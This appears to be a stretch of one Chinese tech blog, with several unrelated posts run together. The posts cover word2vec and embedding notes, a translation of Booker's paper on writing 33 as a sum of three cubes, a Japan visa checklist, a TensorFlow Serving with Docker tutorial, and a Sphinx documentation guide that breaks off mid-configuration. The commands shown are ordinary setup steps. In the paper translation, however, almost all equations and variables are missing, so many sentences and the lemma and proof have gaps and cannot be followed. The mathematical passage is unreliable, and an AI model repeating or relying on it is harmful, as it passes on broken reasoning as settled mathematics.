    1. 基于矩阵的分布表示:比如,GloVe模型;
    2. 基于聚类的分布表示;
    3. 基于神经网络的分布表示,词嵌入;

语言模型

文法语言模型,统计语言模型

核心是上下文的表示以及上下文与目标词之间的关系的建模。

语言模型就是计算一个句子的概率大小的模型。一个句子的打分概率越高,越说明他是更合乎人说出来的自然句子。 常见的统计语言模型有N元文法模型(N-gram Model),最常见的是unigram model、bigram model、trigram model等等。 还有N-pos模型。

词嵌入

2001年,Bengio 等人正式提出神经网络语言模型( Neural Network Language Model ,NNLM), 该模型在学习语言模型的同时,也得到了词向量。所以请注意:词向量可以认为是神经网络训练语言模型的副产品

做法:

1、将one-hot中的vector每一个元素由整形改为浮点型,变为整个实数范围的表示; 2、将原来稀疏的巨大维度压缩 嵌入 到一个更小维度的空间。

神经网络语言模型与word2vec

神经网络语言模型:

a. Neural Network Language Model ,NNLM b. Log-Bilinear Language Model, LBL c. Recurrent Neural Network based Language Model,RNNLM d. Collobert 和 Weston 在2008 年提出的 C&W 模型 e. Mikolov 等人提出了 CBOW( Continuous Bagof-Words,连续词袋模型)和 Skip-gram 模型

CBOW和Skip-gram:

  • 如果是用一个词语作为输入,来预测它周围的上下文,那这个模型叫做“Skip-gram 模型”;
  • 而如果是拿一个词语的上下文作为输入,来预测这个词语本身,则是 “CBOW 模型”。

word2vec

实现CBOW和Skip-gram语言模型的工具(正如C&W模型的实现工具是SENNA)。

CBOW和Skip-gram

  1. 原理
  2. 加速训练技巧:
    • Negative Sample
    • Hierarchical Softmax

应用

文本分类,个性化推荐,广告点击等

论文和文章

  1. Mikolov 两篇原论文:
    • Distributed Representations of Sentences and Documents
    • Efficient estimation of word representations in vector space
  2. Yoav Goldberg 的论文:word2vec Explained- Deriving Mikolov et al.’s Negative-Sampling Word-Embedding Method
  3. Xin Rong 的论文:word2vec Parameter Learning Explained
  4. 来斯惟的博士论文:《基于神经网络的词和文档语义向量表示方法研究》以及博客
  5. word2vec 相比之前的 Word Embedding 方法好在什么地方?
  6. Sebastian 的博客:『On word embeddings - Part 2: Approximating the Softmax』
  7. 《How to Generate a Good Word Embedding?》,Siwei Lai, Kang Liu, Liheng Xu, Jun Zhao
  8. 《面向自然语言处理的分布式表示学习》,邱锡鹏
  9. 《Deep Learning 实战之 word2vec》
  10. 一些博文:
    • http://www.cnblogs.com/iloveai/p/word2vec.html
    • http://www.hankcs.com/nlp/word2vec.html
    • http://licstar.NET/archives/328
    • https://zhuanlan.zhihu.com/p/22477976
    • http://blog.csdn.Net/itplus/article/details/37969519
    • http://www.tuicool.com/articles/fmuyamf
    • http://licstar.net/archives/620#comment-1542
    • http://blog.csdn.net/ycheng_sjtu/article/details/48520293

本文参考

解决33问题──将33写成3个整数的立方和

这篇文章内容翻译自论文 Cracking the problem with 33,论文研究了方程 在一些小的 值的解,并首次将33写成了3个整数的立方和。完成中文可以查看项目 qiwihui/cracking-the-problem-with-33。截止到目前,100以内的自然数就剩下42还没有找到关于立方和的整数解了!

Answer to the Ultimate Question of Life, the Universe, and Everything. – 42

以下是论文正文翻译:


解决33问题

作者:ANDREW R. BOOKER

摘要 受到Tim Browning和Brady Haran的 Numberphile 视频“未解决的33问题“的启发, 我们研究了方程 在一些小的 值的解。 我们找到了 的第一个已知解。

1. 简介

为正整数,其中 。 然后Heath-Brown [HB92] 推测 有无限多的三元组 满足

早在1954年就开始对(1)进行各种数值研究 [MW55];请参阅 [BPTYJ07],了解截至2000年的这些研究的历史。 自那时起进行的计算由于Elkies [Elk00] 而被算法所主导。我们所知道的最新内容是Huisman [Hui16] 的论文, 该论文确定了(1)的所有解,其中 。 特别是,Huisman报告说除了13个 的值以外的所有解决方案都是已知的:

Elkies的算法通过使用格基减少(lattice basis reduction)在Fermat曲线 附近寻找有理点来工作;它非常适合同时找到许多 值的解。 在本文中,我们描述了一种在k值确定时更有效的不同方法。 它的优点是可以找到所有具有 最小 坐标界限的解,而不是Elkies算法中的最大坐标。 这总是产生搜索范围的非平凡的扩张(nontrivial expansion),因为除了可以单独考虑的有限多个例外之外,还有

此外,根据经验,通常情况是其中一个变量比其他变量小得多,因此我们希望实际上增益更大。

我们的策略类似于一些早期的方法(特别参见 [HBLtR93][Bre95][KTS97][BPTYJ07]), 并且基于观察: 的任何解都具有 作为一个因子。 相对于早期研究,我们的主要贡献是注意到,通过一些时间空间权衡,运行时间在高度边界内非常接近线性, 并且在现代64位计算机上实现时非常实用。

更详细地说,假设 是(1)的解,并且不失一般性,假设 。 然后我们有

如果 ,并且 的每个值都产生一个解。 否则,设 , 我们看到 可以除 并且

得到

因此,给定 的候选值,通过遍历 的所有除数, 有一个有效的程序来查找 的所有相应值。 这个基本算法在假设整数分解的时间复杂度的标准启发式(standard heuristics)下,已经能在 时间 内找到满足 的所有解。 在下一节中,我们将解释如何避免因子分解并更有效地实现相同目的。

感谢 感谢Roger Heath-Brown提供了有用的意见和建议。

2. 方法

为了便于表示,我们假设 ;请注意,这适用于(2)中的所有 。 由于上述基本算法对于寻找小解是合理的,因此我们将假设 。 此外,如果我们将(1)专门用于 的解,那么我们得到Thue方程 ,这是有效可解的。 使用 PARI/GP [The18] 中的Thue求解器,我们验证了(2)中的 不存在这样的解。 因此,我们可以进一步假设

由于 ,我们有

同样,因为 , 我们有 。 将(1)的两边乘以 ,我们得到

,并且 。 如果

由于 , 这与我们的假设不相容,即 。 因此我们必然有

接下来,减少(4)模3并回想我们的假设 ,我们有

使得 。 然后,由于每个立方数都与 相等, 我们必然有 , 因此 。 基于(3),当且仅当 以及 是平方数时, 我们得到(1)的解。

总之,找到(1)的所有解并且满足 ,对于每个与3互质的 , 解决以下系统就足够了:

我们解决这个问题的方法很简单:我们通过它们的主要因子分解递归地计算 的值, 并应用中国剩余定理来将 的解减少到素数模幂的情况下, 其中标准算法可以适用。设 表示 的立方根数。通过标准分析估计,由于 不是立方数,我们有

启发式地,计算对所有素数 的解 可以用 上的整数在 算术运算来完成; 见例如 [[NZM91],§2.9,练习8]中描述的算法。假设这一点,可以看出, 使用Montgomery的批量反转技巧[[Mon87],§10.3.1],计算对所有正整数 的根的剩余工作可以再次用 算术运算完成。

因此,我们可以在线性时间内计算满足(5)的第一行的所有 , 作为算术进展(arithmetic progressions)的并集。为了检测最后一行的解,有一个快速的方法来确定 是一个平方数 至关重要。我们首先注意到对于固定 ,这种情况减少到在椭圆曲线上找到积分点; 特别是,令 ,从(3)中我们看到(X,Y)位于Mordell曲线上

因此,对于固定 ,存在至多有限多个解,并且它们可以被有效地约束。 对于 的一些小值,找到(6)上的所有积分点并检查是否产生任何满足(1)的解是切实可行的。 例如,使用Magma[[BCFS18],§128.2.8]中的积分点函数(functionality), 我们验证了如(2)中的 情况下没有解, 除了

接下来我们自然注意到一些同余和可分性约束:

引理 为(5)的解,设 为素数, 设 。则

(i) ; (ii) 如果 ; (iii) 如果 ; (iv) 如果

证明, 令 ,我们有 , 观察到 ,模27,我们有

这消失了模9,所以为了使 成为平方数,它也必须消除mod 27。 于是

减少(1)模2我们得到 ,这得到(i)。

接下来设 ,这样就有

如果 , 但是当 时这是不可能的,因为 不是 的平方模。 因此,在这种情况下我们必须

接下来假设 。 我们考虑以下情况,涵盖所有可能性:

  • ,那么
  • , 则 ,那么
  • 如果 ,这是不可能的。

因此,在任何情况我们得出结论

最后,假设 。如果 则无需证明的,所以假设不然。 由于 ,我们必须有 ,因为

通过部分(iii)得出 , 因此

因此,一旦 的残差类(residue class)固定, 则其残差模 是确定的。还要注意,条件(ii)和(iii)对于测试 是有效的。

然而,即使有这些优化,也有 满足(5)的第一行和引理的结论(i)和(iv)。 因此,为了实现比 更好的运行时间,需要从一开始就消除一些 值。 我们通过标准的时间空间交换来实现这一目标。确切地说,设置 , 并且让 是区间 之间的素数的乘积。 根据素数定理,我们得到 。如果 是平方数, 那么对于任意素数 我们有

其中 。 当 时, 我们首先为每个残差类 计算该函数, 并且仅选择对于每个 满足(7)的那些残基。 由Hasse约束,允许的残差的数量最多为

因此,要考虑的 值的总数最多为

对于没有以这种方式消除的 ,我们遵循类似的策略, 其中一些其他辅助模 由较大的素数组成,以加速平方测试。 我们预先计算模为 的立方数表和Legendre符号模 , 因此将测试(7)简化为了表查找。只有当所有这些测试都通过时, 我们才能在多精度算术中计算 并应用一般的平方检验,这种情况对于一小部分候选值来说都是如此。 事实上,我们期望Legendre测试的数量平均有限,所以总的来说, 找到所有解决方案的 应该要求不超过 次表查找和对 中整数的算术运算。

因此,当 符合机器字大小时,我们预计运行时间几乎是线性的,这就是我们在实践中观察到的

3. 实现

我们在C中实现了上述算法,其中有一些内联汇编程序来源于由Ben Buhrow [Buh19] 编写的Montgomery算法 [Mon85], 以及Kim Walisch的用于枚举素数的 primesieve[Wal19]

该算法自然地在具有超过 的素因子和 具有 -平滑的素数的 的值之间分配。 前一组 消耗超过运行时间的三分之二,但更容易并行化。 我们在布里斯托大学高级计算研究中心的大规模并行集群Bluecrystal Phase 3上运行了这一部分。 对于平滑的 ,我们使用了一个单独的32核和64核节点的小集群。

我们搜索了满足 的(1)的解,找到了以下结果:

总计算在三个星期的实际时间中大约使用了15个核年。

参考文献

(略)

School of Mathematics, University of Bristol, University Walk, Bristol, BS8 1TW, United Kingdom

E-mail address: andrew.booker@bristol.ac.uk


博客参考:

赴日单次旅行签证申请记录

这次赴日旅行,计划大阪奈良和东京,简单记录行前准备。

签证所需材料

以下材料为本次申请签证所需材料:

主申人:

  1. 本人护照,原件(有效期至少在6个月以上);
  2. 签证申请表:1份;
  3. 个人信息处理同意书:1份;
  4. 本人照片:2张,4.5*4.5cm白底彩色近照(现照,相片可淡妆);
  5. 本人身份证正反复印件:1份;
  6. 户口本复印件:1份,户口本首页和本人页;
  7. 本人在职证明:1份,盖公司的公章;
  8. 企业营业执照副本复印件:1份;
  9. 经济证明材料:一年的工资流水账单,每个月存折上的大于8000,且近一年银行流水10万元以上;
  10. 结婚证复印件:1份。

随行:

  1. 本人护照,原件(有效期至少在6个月以上);
  2. 签证申请表:1份;
  3. 个人信息处理同意书:1份;
  4. 本人照片:2张,4.5*4.5cm白底彩色近照(现照,相片可淡妆);
  5. 本人身份证正反复印件:1份;
  6. 户口本复印件:1份,户口本首页和本人页;
  7. 结婚证复印件:1份。

因为选择的代办旅行社没有要求赴日行程和机票酒店预订记录,所以没有提供。

提前购买或预订的物品

  1. 机票,酒店预订;
  2. 通信:日本流量卡(也可以使用随身wifi或者办理电话卡国际套餐);
  3. 预订和服体验;
  4. 预订东京迪斯尼海洋馆门票;
  5. 车票基本都在当地购买了,没有提前预订。

最后,最最重要的,就是开心就好,不用太拘泥于景点有没有都游览一遍。

使用 TensorFlow Serving 和 Docker 快速部署机器学习服务

从实验到生产,简单快速部署机器学习模型一直是一个挑战。这个过程要做的就是将训练好的模型对外提供预测服务。在生产中,这个过程需要可重现,隔离和安全。这里,我们使用基于Docker的TensorFlow Serving来简单地完成这个过程。TensorFlow 从1.8版本开始支持Docker部署,包括CPU和GPU,非常方便。

获得训练好的模型

获取模型的第一步当然是训练一个模型,但是这不是本篇的重点,所以我们使用一个已经训练好的模型,比如ResNet。TensorFlow Serving 使用SavedModel这种格式来保存其模型,SavedModel是一种独立于语言的,可恢复,密集的序列化格式,支持使用更高级别的系统和工具来生成,使用和转换TensorFlow模型。这里我们直接下载一个预训练好的模型:

$ mkdir /tmp/resnet
$ curl -s https://storage.googleapis.com/download.tensorflow.org/models/official/20181001_resnet/savedmodels/resnet_v2_fp32_savedmodel_NHWC_jpg.tar.gz | tar --strip-components=2 -C /tmp/resnet -xvz

如果是使用其他框架比如Keras生成的模型,则需要将模型转换为SavedModel格式,比如:

from keras.models import Sequential
from keras import backend as K
import tensorflow as tf

model = Sequential()
# 中间省略模型构建

# 模型转换为SavedModel
signature = tf.saved_model.signature_def_utils.predict_signature_def(
    inputs={'input_param': model.input}, outputs={'type': model.output})
builder = tf.saved_model.builder.SavedModelBuilder('/tmp/output_model_path/1/')
builder.add_meta_graph_and_variables(
    sess=K.get_session(),
    tags=[tf.saved_model.tag_constants.SERVING],
    signature_def_map={
        tf.saved_model.signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY:
            signature
    })
builder.save()

下载完成后,文件目录树为:

$ tree /tmp/resnet
/tmp/resnet
└── 1538687457
    ├── saved_model.pb
    └── variables
        ├── variables.data-00000-of-00001
        └── variables.index

部署模型

使用Docker部署模型服务:

$ docker pull tensorflow/serving
$ docker run -p 8500:8500 -p 8501:8501 --name tfserving_resnet \
--mount type=bind,source=/tmp/resnet,target=/models/resnet \
-e MODEL_NAME=resnet -t tensorflow/serving

其中,8500端口对于TensorFlow Serving提供的gRPC端口,8501为REST API服务端口。-e MODEL_NAME=resnet指出TensorFlow Serving需要加载的模型名称,这里为resnet。上述命令输出为

2019-03-04 02:52:26.610387: I tensorflow_serving/model_servers/server.cc:82] Building single TensorFlow model file config:  model_name: resnet model_base_path: /models/resnet
2019-03-04 02:52:26.618200: I tensorflow_serving/model_servers/server_core.cc:461] Adding/updating models.
2019-03-04 02:52:26.618628: I tensorflow_serving/model_servers/server_core.cc:558]  (Re-)adding model: resnet
2019-03-04 02:52:26.745813: I tensorflow_serving/core/basic_manager.cc:739] Successfully reserved resources to load servable {name: resnet version: 1538687457}
2019-03-04 02:52:26.745901: I tensorflow_serving/core/loader_harness.cc:66] Approving load for servable version {name: resnet version: 1538687457}
2019-03-04 02:52:26.745935: I tensorflow_serving/core/loader_harness.cc:74] Loading servable version {name: resnet version: 1538687457}
2019-03-04 02:52:26.747590: I external/org_tensorflow/tensorflow/contrib/session_bundle/bundle_shim.cc:363] Attempting to load native SavedModelBundle in bundle-shim from: /models/resnet/1538687457
2019-03-04 02:52:26.747705: I external/org_tensorflow/tensorflow/cc/saved_model/reader.cc:31] Reading SavedModel from: /models/resnet/1538687457
2019-03-04 02:52:26.795363: I external/org_tensorflow/tensorflow/cc/saved_model/reader.cc:54] Reading meta graph with tags { serve }
2019-03-04 02:52:26.828614: I external/org_tensorflow/tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA
2019-03-04 02:52:26.923902: I external/org_tensorflow/tensorflow/cc/saved_model/loader.cc:162] Restoring SavedModel bundle.
2019-03-04 02:52:28.098479: I external/org_tensorflow/tensorflow/cc/saved_model/loader.cc:138] Running MainOp with key saved_model_main_op on SavedModel bundle.
2019-03-04 02:52:28.144510: I external/org_tensorflow/tensorflow/cc/saved_model/loader.cc:259] SavedModel load for tags { serve }; Status: success. Took 1396689 microseconds.
2019-03-04 02:52:28.146646: I tensorflow_serving/servables/tensorflow/saved_model_warmup.cc:83] No warmup data file found at /models/resnet/1538687457/assets.extra/tf_serving_warmup_requests
2019-03-04 02:52:28.168063: I tensorflow_serving/core/loader_harness.cc:86] Successfully loaded servable version {name: resnet version: 1538687457}
2019-03-04 02:52:28.174902: I tensorflow_serving/model_servers/server.cc:286] Running gRPC ModelServer at 0.0.0.0:8500 ...
[warn] getaddrinfo: address family for nodename not supported
2019-03-04 02:52:28.186724: I tensorflow_serving/model_servers/server.cc:302] Exporting HTTP/REST API at:localhost:8501 ...
[evhttp_server.cc : 237] RAW: Entering the event loop ...

我们可以看到,TensorFlow Serving使用1538687457作为模型的版本号。我们使用curl命令来查看一下启动的服务状态,也可以看到提供服务的模型版本以及模型状态。

$ curl http://localhost:8501/v1/models/resnet
{
 "model_version_status": [
  {
   "version": "1538687457",
   "state": "AVAILABLE",
   "status": {
    "error_code": "OK",
    "error_message": ""
   }
  }
 ]
}

查看模型输入输出

很多时候我们需要查看模型的输出和输出参数的具体形式,TensorFlow提供了一个saved_model_cli命令来查看模型的输入和输出参数:

$ saved_model_cli show --dir /tmp/resnet/1538687457/ --all

MetaGraphDef with tag-set: 'serve' contains the following SignatureDefs:

signature_def['predict']:
  The given SavedModel SignatureDef contains the following input(s):
    inputs['image_bytes'] tensor_info:
        dtype: DT_STRING
        shape: (-1)
        name: input_tensor:0
  The given SavedModel SignatureDef contains the following output(s):
    outputs['classes'] tensor_info:
        dtype: DT_INT64
        shape: (-1)
        name: ArgMax:0
    outputs['probabilities'] tensor_info:
        dtype: DT_FLOAT
        shape: (-1, 1001)
        name: softmax_tensor:0
  Method name is: tensorflow/serving/predict

signature_def['serving_default']:
  The given SavedModel SignatureDef contains the following input(s):
    inputs['image_bytes'] tensor_info:
        dtype: DT_STRING
        shape: (-1)
        name: input_tensor:0
  The given SavedModel SignatureDef contains the following output(s):
    outputs['classes'] tensor_info:
        dtype: DT_INT64
        shape: (-1)
        name: ArgMax:0
    outputs['probabilities'] tensor_info:
        dtype: DT_FLOAT
        shape: (-1, 1001)
        name: softmax_tensor:0
  Method name is: tensorflow/serving/predict

注意到signature_definputs的名称,类型和输出,这些参数在接下来的模型预测请求中需要。

使用模型接口预测:REST和gRPC

TensorFlow Serving提供REST API和gRPC两种请求方式,接下来将具体这两种方式。

REST

我们下载一个客户端脚本,这个脚本会下载一张猫的图片,同时使用这张图片来计算服务请求时间。

$ curl -o /tmp/resnet/resnet_client.py https://raw.githubusercontent.com/tensorflow/serving/master/tensorflow_serving/example/resnet_client.py

以下脚本使用requests库来请求接口,使用图片的base64编码字符串作为请求内容,返回图片分类,并计算了平均处理时间。

from __future__ import print_function

import base64
import requests

# The server URL specifies the endpoint of your server running the ResNet
# model with the name "resnet" and using the predict interface.
SERVER_URL = 'http://localhost:8501/v1/models/resnet:predict'

# The image URL is the location of the image we should send to the server
IMAGE_URL = 'https://tensorflow.org/images/blogs/serving/cat.jpg'


def main():
  # Download the image
  dl_request = requests.get(IMAGE_URL, stream=True)
  dl_request.raise_for_status()

  # Compose a JSON Predict request (send JPEG image in base64).
  jpeg_bytes = base64.b64encode(dl_request.content).decode('utf-8')
  predict_request = '{"instances" : [{"b64": "%s"}]}' % jpeg_bytes

  # Send few requests to warm-up the model.
  for _ in range(3):
    response = requests.post(SERVER_URL, data=predict_request)
    response.raise_for_status()

  # Send few actual requests and report average latency.
  total_time = 0
  num_requests = 10
  for _ in range(num_requests):
    response = requests.post(SERVER_URL, data=predict_request)
    response.raise_for_status()
    total_time += response.elapsed.total_seconds()
    prediction = response.json()['predictions'][0]

  print('Prediction class: {}, avg latency: {} ms'.format(
      prediction['classes'], (total_time*1000)/num_requests))


if __name__ == '__main__':
  main()

输出结果为

$ python resnet_client.py
Prediction class: 286, avg latency: 210.12310000000002 ms

gRPC

让我们下载另一个客户端脚本,这个脚本使用gRPC作为服务,传入图片并获取输出结果。这个脚本需要安装tensorflow-serving-api这个库。

$ curl -o /tmp/resnet/resnet_client_grpc.py https://raw.githubusercontent.com/tensorflow/serving/master/tensorflow_serving/example/resnet_client_grpc.py
$ pip install tensorflow-serving-api

脚本内容:

from __future__ import print_function

# This is a placeholder for a Google-internal import.

import grpc
import requests
import tensorflow as tf

from tensorflow_serving.apis import predict_pb2
from tensorflow_serving.apis import prediction_service_pb2_grpc

# The image URL is the location of the image we should send to the server
IMAGE_URL = 'https://tensorflow.org/images/blogs/serving/cat.jpg'

tf.app.flags.DEFINE_string('server', 'localhost:8500',
                           'PredictionService host:port')
tf.app.flags.DEFINE_string('image', '', 'path to image in JPEG format')
FLAGS = tf.app.flags.FLAGS


def main(_):
  if FLAGS.image:
    with open(FLAGS.image, 'rb') as f:
      data = f.read()
  else:
    # Download the image since we weren't given one
    dl_request = requests.get(IMAGE_URL, stream=True)
    dl_request.raise_for_status()
    data = dl_request.content

  channel = grpc.insecure_channel(FLAGS.server)
  stub = prediction_service_pb2_grpc.PredictionServiceStub(channel)
  # Send request
  # See prediction_service.proto for gRPC request/response details.
  request = predict_pb2.PredictRequest()
  request.model_spec.name = 'resnet'
  request.model_spec.signature_name = 'serving_default'
  request.inputs['image_bytes'].CopyFrom(
      tf.contrib.util.make_tensor_proto(data, shape=[1]))
  result = stub.Predict(request, 10.0)  # 10 secs timeout
  print(result)


if __name__ == '__main__':
  tf.app.run()

输出的结果可以看到图片的分类,概率和使用的模型信息:

$ python resnet_client_grpc.py
outputs {
  key: "classes"
  value {
    dtype: DT_INT64
    tensor_shape {
      dim {
        size: 1
      }
    }
    int64_val: 286
  }
}
outputs {
  key: "probabilities"
  value {
    dtype: DT_FLOAT
    tensor_shape {
      dim {
        size: 1
      }
      dim {
        size: 1001
      }
    }
    float_val: 2.4162832232832443e-06
    float_val: 1.9012182974620373e-06
    float_val: 2.7247710022493266e-05
    float_val: 4.426385658007348e-07
    ...(中间省略)
    float_val: 1.4636580090154894e-05
    float_val: 5.812107133351674e-07
    float_val: 6.599806511076167e-05
    float_val: 0.0012952701654285192
  }
}
model_spec {
  name: "resnet"
  version {
    value: 1538687457
  }
  signature_name: "serving_default"
}

性能

通过编译优化的TensorFlow Serving二进制来提高性能

TensorFlows serving有时会有输出如下的日志:

Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA

TensorFlow Serving已发布Docker镜像旨在尽可能多地使用CPU架构,因此省略了一些优化以最大限度地提高兼容性。如果你没有看到此消息,则你的二进制文件可能已针对你的CPU进行了优化。根据你的模型执行的操作,这些优化可能会对你的服务性能产生重大影响。幸运的是,编译优化的TensorFlow Serving二进制非常简单。官方已经提供了自动化脚本,分以下两部进行:

# 1. 编译开发版本
$ docker build -t $USER/tensorflow-serving-devel -f Dockerfile.devel https://github.com/tensorflow/serving.git#:tensorflow_serving/tools/docker

# 2. 生产新的镜像
$ docker build -t $USER/tensorflow-serving --build-arg TF_SERVING_BUILD_IMAGE=$USER/tensorflow-serving-devel https://github.com/tensorflow/serving.git#:tensorflow_serving/tools/docker

之后,使用新编译的$USER/tensorflow-serving重新启动服务即可。

总结

上面我们快速实践了使用TensorFlow Serving和Docker部署机器学习服务的过程,可以看到,TensorFlow Serving提供了非常方便和高效的模型管理,配合Docker,可以快速搭建起机器学习服务。

参考

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

使用 Sphinx 撰写技术文档并生成 PDF 总结

这几天准备编排部分翻译的书籍和文档,找了好些工具,最终定格在 Sphinx 上,并基于 ReadTheDocs 提供的 SaaS 服务进行分发和分享。本篇博客是对整个过程的一次记录和总结。

项目代码:qiwihui/sphinx-doc-starter

认识 Sphinx

Sphinx 是一个基于 Python 的文档生成项目。最早只是用来生成 Python 的项目文档,使用 reStructuredText 格式。但随着项目的逐渐完善,很多非 Python 的项目也采用 Sphinx 作为文档写作工具,甚至完全可以用 Sphinx 来写书。

使用 Sphinx 生成文档的优点包括:

  • 丰富的输出格式: 支持输出为 HTML(包括 Windows 帮助文档),LaTeX(可以打印PDF版本), manual pages(man 文档), 纯文本等若干种格式;
  • 完备的交叉引用: 语义化的标签,并可以自动化链接函数、类、引文、术语等;
  • 明晰的分层结构: 轻松定义文档树,并自动化链接同级/父级/下级文章;
  • 美观的自动索引: 可自动生成美观的模块索引;
  • 精确的语法高亮: 基于 Pygments 自动生成语法高亮;
  • 开放的扩展: 支持代码块的自动测试,自动包含 Python 的模块自述文档,等等。

开始

这个过程包括如下步骤:

  • 安装 Sphinx
  • 第一个文档
  • 在线托管
  • 生成 PDF

安装 Sphinx

Sphinx 依赖于 Python,并提供了 Python 包,所以使用 pip 安装既可。这里我只安装了 sphinx-doc 这个包。

pip install sphinx-doc

这时,通过 bash 自动补全(连续两下 tab),可以看到有几个命令,Sphinx 推荐使用 sphinx-quickstart,这是一个设置向导。

$ sphinx-
sphinx-apidoc      sphinx-autogen     sphinx-build       sphinx-quickstart

设置 Sphinx

运行 sphinx-quickstart,以下主要设置项目名称,作者名称以及语言(zh_CN)即可,其他默认。

$ sphinx-quickstart
Welcome to the Sphinx 1.8.4 quickstart utility.

Please enter values for the following settings (just press Enter to
accept a default value, if one is given in brackets).

Selected root path: .

You have two options for placing the build directory for Sphinx output.
Either, you use a directory "_build" within the root path, or you separate
"source" and "build" directories within the root path.
> Separate source and build directories (y/n) [n]: y

Inside the root directory, two more directories will be created; "_templates"
for custom HTML templates and "_static" for custom stylesheets and other static
files. You can enter another prefix (such as ".") to replace the underscore.
> Name prefix for templates and static dir [_]: 

The project name will occur in several places in the built documentation.
> Project name: 一本书
> Author name(s): qiwihui
> Project release []: 0.0.1

If the documents are to be written in a language other than English,
you can select a language here by its language code. Sphinx will then
translate text that it generates into that language.

For a list of supported codes, see
http://sphinx-doc.org/config.html#confval-language.
> Project language [en]: zh_CN

The file name suffix for source files. Commonly, this is either ".txt"
or ".rst".  Only files with this suffix are considered documents.
> Source file suffix [.rst]: 

One document is special in that it is considered the top node of the
"contents tree", that is, it is the root of the hierarchical structure
of the documents. Normally, this is "index", but if your "index"
document is a custom template, you can also set this to another filename.
> Name of your master document (without suffix) [index]: 
Indicate which of the following Sphinx extensions should be enabled:
> autodoc: automatically insert docstrings from modules (y/n) [n]: 
> doctest: automatically test code snippets in doctest blocks (y/n) [n]: 
> intersphinx: link between Sphinx documentation of different projects (y/n) [n]: 
> todo: write "todo" entries that can be shown or hidden on build (y/n) [n]: 
> coverage: checks for documentation coverage (y/n) [n]: 
> imgmath: include math, rendered as PNG or SVG images (y/n) [n]: 
> mathjax: include math, rendered in the browser by MathJax (y/n) [n]: 
> ifconfig: conditional inclusion of content based on config values (y/n) [n]: 
> viewcode: include links to the source code of documented Python objects (y/n) [n]: 
> githubpages: create .nojekyll file to publish the document on GitHub pages (y/n) [n]: 

A Makefile and a Windows command file can be generated for you so that you
only have to run e.g. `make html` instead of invoking sphinx-build
directly.
> Create Makefile? (y/n) [y]: 
> Create Windows command file? (y/n) [y]: 

Creating file ./source/conf.py.
Creating file ./source/index.rst.
Creating file ./Makefile.
Creating file ./make.bat.

Finished: An initial directory structure has been created.

You should now populate your master file ./source/index.rst and create other documentation
source files. Use the Makefile to build the docs, like so:
   make builder
where "builder" is one of the supported builders, e.g. html, latex or linkcheck.

解释1,整个设置过程包括:

  1. 是否分离源文件目录 source 和生成文件目录 build,默认否;

  2. 模板目录 templates 和静态文件目录 static 前缀,默认为_

  3. 项目名称;

  4. 项目作者;

  5. 项目版本,默认为空;

  6. 项目语言,默认为 en

  7. 文档扩展名,默认为 .rst

  8. 首页文件名,默认为 index

  9. 开启的扩展,均默认为否:

    • autodoc
    • doctest
    • intersphinx
    • todo
    • coverage
    • imgmath
    • mathjax
    • ifconfig
    • viewcode
    • githubpages
  10. 生成 Makefile,默认是;

  11. 生成 Windows 用命令行,默认是。

解释2,项目目录文件结构如下:

sphinx-test
├── Makefile
├── build
├── make.bat
└── source
    ├── _static
    ├── _templates
    ├── conf.py
    └── index.rst

其中:

  • Makefile:可以看作是一个包含指令的文件,在使用 make 命令时,可以使用这些指令来构建文档输出。
  • build:生成的文件的输出目录。
  • make.bat:Windows 用命令行。
  • _static:静态文件目录,比如图片等。
  • _templates:模板目录。
  • conf.py:存放 Sphinx 的配置,包括在 sphinx-quickstart 时选中的那些值,可以自行定义其他的值。
  • index.rst:文档项目起始文件。

接下来看看默认生成的内容:

$ make html
Running Sphinx v1.8.4
loading translations [zh_CN]... done
making output directory...
building [mo]: targets for 0 po files that are out of date
building [html]: targets for 1 source files that are out of date
updating environment: 1 added, 0 changed, 0 removed
reading sources... [100%] index                                                                                                         looking for now-outdated files... none found
pickling environment... done
checking consistency... done
preparing documents... done
writing output... [100%] index                                                                                                          generating indices... genindex
writing additional pages... search
copying static files... done
copying extra files... done
dumping search index in Chinese (code: zh) ... done
dumping object inventory... done
build succeeded.

The HTML pages are in build/html.

然后直接在浏览器中打开 build/html/index.html 这个文件。

initial

默认风格为 alabaster,可以改成 ReadTheDocs 的风格: sphinx_rtd_theme

# -- Options for HTML output -------------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_rtd_theme'

rtd_theme

第一个文档

我们以一下文档为例:

This is a Title
===============
That has a paragraph about a main subject and is set when the '='
is at least the same length of the title itself.

Subject Subtitle
----------------
Subtitles are set with '-' and are required to have the same length
of the subtitle itself, just like titles.

Lists can be unnumbered like:

 * Item Foo
 * Item Bar

Or automatically numbered:

 #. Item 1
 #. Item 2

Inline Markup
-------------
Words can have *emphasis in italics* or be **bold** and you can define
code samples with back quotes, like when you talk about a command: ``sudo``
gives you super user powers!

将之写入 example.rst 中,并修改 index.rst 为:

Welcome to 一本书's documentation!
==================================

.. toctree::
   :maxdepth: 2
   :caption: 目录:

   example

Indices and tables
==================

* :ref:`genindex`
* :ref:`modindex`
* :ref:`search`

重新编译,这时文档已经改变。

first_doc first_doc_page

在线托管

ReadTheDocs 可是直接用于托管 sphinx 生成的网页文档。 将之前的文档用 Git 管理,并推送到 Github,然后在 ReadTheDocs 中 Import a Project 即可。

rtd

另外,可以设置自定义域名:

  1. 在域名管理中添加 DNS 的 CNAME 记录到 readthedocs.io,比如 onebook.qiwihui.com
  2. 在项目的 Admin -> Domains 中设置上一步添加的域名,开启 HTTPS,保存即可。

add_new_domain

过程很简单。

生成 PDF

Sphinx 生成 PDF 的过程先将 rst 转换为 tex,再生成 PDF。这个过程遇到了比较多的坑,最后总结下来过程如下:

首先,安装 Tex 环境。在 Mac 上,推荐安装 MacTex 而不是 BasicTex,对于新手来说 BasicTex 上需要自己处理很多依赖问题。完成后使用 tlmgr 更新 TexLive。

$ brew cask install mactex
$ sudo tlmgr update --self

然后,在 con.py 中设置 latex_enginelatex_elements 两个参数,同时也可以设置 latex_documents 参数来设置文档。因为 ReadTheDocs 上只有 pdflatex 引擎,如果需要同时在 ReadTheDocs 和本地化都能顺利编译中文pdf的话,可以在 conf.py 中添加如下配置:

# -- Options for LaTeX output ------------------------------------------------
# 检查是否为 READTHEDOCS 环境
import os

on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if on_rtd:
    latex_elements = {
